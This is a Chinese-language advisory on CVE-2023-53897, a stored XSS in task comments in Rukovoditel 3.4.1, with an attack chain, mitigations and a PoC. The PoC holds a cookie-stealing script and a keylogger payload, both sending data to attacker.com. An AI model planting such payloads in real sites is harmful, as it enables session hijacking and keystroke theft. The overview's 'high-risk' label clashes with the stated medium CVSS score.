CVE-2023-53897 Rukovoditel 存储型跨站脚本漏洞

漏洞信息

漏洞编号

CVE-2023-53897

漏洞类型

存储型XSS（Stored Cross-Site Scripting）

CVSS评分

5.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

需要交互 (UI:R)

影响产品

Rukovoditel 3.4.1

漏洞概述

CVE-2023-53897是Rukovoditel项目管理系统中存在的一个高危安全漏洞，属于存储型跨站脚本攻击（Stored XSS）。Rukovoditel是一款开源的项目管理和任务跟踪工具，广泛应用于企业和团队的日常工作管理中。该漏洞存在于Rukovoditel 3.4.1版本中，攻击者可以利用系统在处理项目任务评论时的输入验证不足，将恶意的JavaScript脚本代码存储到服务器端。当其他用户访问包含恶意代码的页面时，这些脚本会在受害者浏览器中执行，从而实现会话劫持、敏感信息窃取、钓鱼攻击等恶意操作。由于漏洞属于存储型XSS，恶意代码会永久保存在数据库中，影响所有访问该内容的用户，具有较大的危害范围和持续性。攻击者只需拥有低权限的认证账户即可实施攻击，但需要诱导其他用户与恶意内容产生交互才能触发漏洞利用。

技术细节

该漏洞的根本原因在于Rukovoditel 3.4.1版本对用户输入的评论内容缺乏充分的输入验证和输出编码。在项目任务评论功能模块中，系统未能对用户提交的文本内容进行严格的HTML标签过滤和JavaScript脚本过滤，导致攻击者可以在评论字段中插入恶意的脚本标签和JavaScript代码。当评论被保存到数据库后，其他用户在查看任务详情或评论列表时，服务器会将这些未经过滤的内容直接返回给客户端浏览器。浏览器在渲染页面时会将恶意脚本作为正常的页面内容执行，从而实现跨站脚本攻击。攻击者可以利用此漏洞执行任意JavaScript代码，包括但不限于：窃取用户会话Cookie、修改页面内容进行钓鱼、诱导用户进行敏感操作、记录用户键盘输入等。由于评论功能是项目协作的常用功能，攻击者有较多机会接触到目标用户。

攻击链分析

STEP 1

步骤1

攻击者获取Rukovoditel系统的低权限账户（普通用户权限即可）

STEP 2

步骤2

攻击者登录系统后，导航至任意项目任务页面

STEP 3

步骤3

在任务评论功能中注入包含恶意JavaScript代码的XSS payload

STEP 4

步骤4

系统将包含恶意代码的评论保存到数据库，未进行充分的输入验证和过滤

STEP 5

步骤5

当其他用户（受害者）访问该任务页面时，恶意评论内容被加载并显示

STEP 6

步骤6

受害者浏览器将恶意脚本作为正常页面内容执行，触发XSS攻击

STEP 7

步骤7

攻击者通过恶意脚本窃取受害者的会话Cookie或其他敏感信息

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

// CVE-2023-53897 PoC - Stored XSS in Rukovoditel Task Comments
// Target: Rukovoditel 3.4.1
// Attack Vector: Inject malicious JavaScript in project task comments

// XSS Payload for stealing session cookies
var xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>';

// Alternative XSS payload - Keylogger
var keylogger_payload = '<img src=x onerror="var keys=\'\';document.onkeypress=function(e){keys+=e.key};setInterval(function(){if(keys)fetch(\'https://attacker.com/log?k=\'+btoa(keys))},5000)">';

// Steps to exploit:
// 1. Authenticate with low-privilege account
// 2. Navigate to any project task
// 3. Add comment with XSS payload
// 4. Wait for victim to view the task
// 5. Malicious script executes in victim's browser

影响范围

Rukovoditel 3.4.1

防御指南

临时缓解措施

在官方补丁发布前，可通过以下措施临时缓解风险：1）对所有用户输入实施严格的输入过滤，禁止HTML标签和JavaScript关键字；2）在输出时对特殊字符进行HTML实体编码转义；3）启用HttpOnly和Secure标志保护Cookie；4）限制评论功能的权限，仅允许可信用户发言；5）部署WAF规则拦截XSS攻击特征。